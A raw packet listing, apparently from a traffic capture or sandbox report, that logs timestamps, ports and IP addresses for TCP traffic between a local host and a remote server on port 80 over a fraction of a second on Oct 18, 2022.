Oct 18, 2022 13:28:12.728605986 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.728614092 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.728672981 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.728673935 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.728738070 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.728741884 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.728805065 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.728806019 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.728866100 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.728871107 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.728956938 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.728965044 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.729013920 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.729022026 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.729080915 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.729089022 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.729151964 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.729151964 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.729212046 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.729217052 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.729275942 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.729278088 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.729335070 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.729338884 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.729396105 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.729399920 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.729454994 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.729460955 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.729517937 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.729521036 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.729579926 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.729583025 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.729640961 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.729645014 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.729701996 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.729707003 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.729763031 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.729768038 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.729820967 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.729832888 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.729887962 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.729899883 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.729964972 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.729969025 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.730016947 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.730029106 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.730099916 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.730098963 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.730148077 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.730169058 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.730232000 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.730240107 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.730312109 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.730360031 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.730379105 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.730410099 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.730426073 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.730482101 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.730500937 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.730550051 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.730551004 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.730603933 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.730617046 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.730675936 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.730679035 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.730731964 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.730745077 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.730801105 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.730803013 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.730858088 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.730868101 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.730935097 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.730973959 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.731031895 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.731041908 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.731091022 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.731106997 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.731167078 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.731179953 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.731235027 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.731302977 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.731307983 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.731372118 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.731374979 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.731446028 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.797185898 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.797229052 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.797256947 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.797286034 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.797314882 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.797344923 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.797374964 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.797404051 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.797434092 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.797447920 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.797447920 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.797447920 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.797463894 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.797492981 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.797514915 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.797514915 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.797521114 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.797552109 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.797552109 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.797573090 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.797602892 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.797643900 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.797662973 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.797673941 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.797703028 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.797715902 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.797733068 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.797750950 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.797761917 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.797769070 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.797785044 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.797792912 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.797821999 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.797852993 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.797882080 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.797914028 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.797921896 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.797921896 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.797921896 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.797964096 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.797971964 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.797971964 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.797993898 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.798022032 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.798036098 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.798036098 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.798051119 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.798054934 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.798080921 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.798096895 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.798109055 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.798125029 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.798152924 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.798182964 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.798196077 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.798209906 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.798212051 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.798239946 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.798269033 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.798269987 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.798269987 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.798296928 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.798316956 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.798325062 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.798341990 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.798353910 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.798372030 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.798382044 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.798403025 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.798412085 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.798441887 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.798463106 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.798477888 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.798506021 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.798506975 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.798506021 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.798532009 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.798537016 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.798557997 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.798567057 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.798588037 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.798594952 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.798612118 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.798624992 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.798640013 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.798654079 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.798722982 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.798677921 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.798775911 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.798775911 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.859278917 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.859345913 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.859366894 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.859390020 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.859402895 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.859412909 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.859431982 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.859456062 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.859466076 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.859477997 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.859498024 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.859513044 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.859523058 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.859532118 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.859545946 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.859565020 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.859571934 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.859596014 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.859597921 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.859617949 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.859627962 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.859642029 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.859646082 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.859667063 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.859672070 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.859692097 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.859697104 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.859713078 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.859720945 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.859740019 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.859761953 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.859766960 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.859782934 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.859801054 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.859805107 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.859823942 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.859829903 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.859853029 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.859853983 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.859877110 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.859884024 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.859899044 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.859910965 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.859924078 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.859930992 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.859947920 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.859955072 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.859972000 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.859972954 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.859992981 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.859997034 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.860014915 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.860021114 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.860038042 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.860043049 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.860069036 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.860069036 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.860084057 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.860093117 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.860109091 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.860116005 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.860133886 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.860140085 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.860157013 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.860162973 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.860183001 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.860187054 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.860203028 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.860210896 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.860228062 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.860234976 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.860250950 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.860259056 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.860285997 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.860295057 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.860311985 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.860311985 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.860330105 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.860335112 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.860352993 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.860358953 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.860374928 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.860383034 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.860400915 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.860407114 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.860424042 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.860430956 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.860450029 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.860472918 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.860476017 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.860506058 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.860529900 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.920895100 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.920927048 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.920945883 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.920964003 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.920984030 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.921000004 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.921003103 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.921020985 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.921039104 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.921040058 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.921060085 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.921078920 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.921094894 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.921097040 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.921114922 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.921122074 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.921135902 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.921145916 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.921154022 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.921174049 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.921178102 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.921192884 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.921207905 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.921211004 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.921231031 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.921245098 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.921250105 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.921268940 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.921282053 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.921288013 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.921308994 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.921314001 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.921328068 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.921343088 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.921346903 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.921365976 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.921377897 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.921384096 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.921402931 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.921421051 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.921439886 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.921458006 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.921466112 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.921477079 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.921494961 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.921495914 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.921495914 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.921513081 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.921526909 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.921544075 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.921554089 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.921565056 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.921590090 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.921614885 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.921628952 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.921628952 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.921641111 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.921642065 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.921642065 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.921659946 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.921679020 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.921708107 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.921720982 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.921730995 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.921746016 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.921762943 CEST	80	49701	141.8.199.69	192.168.2.7
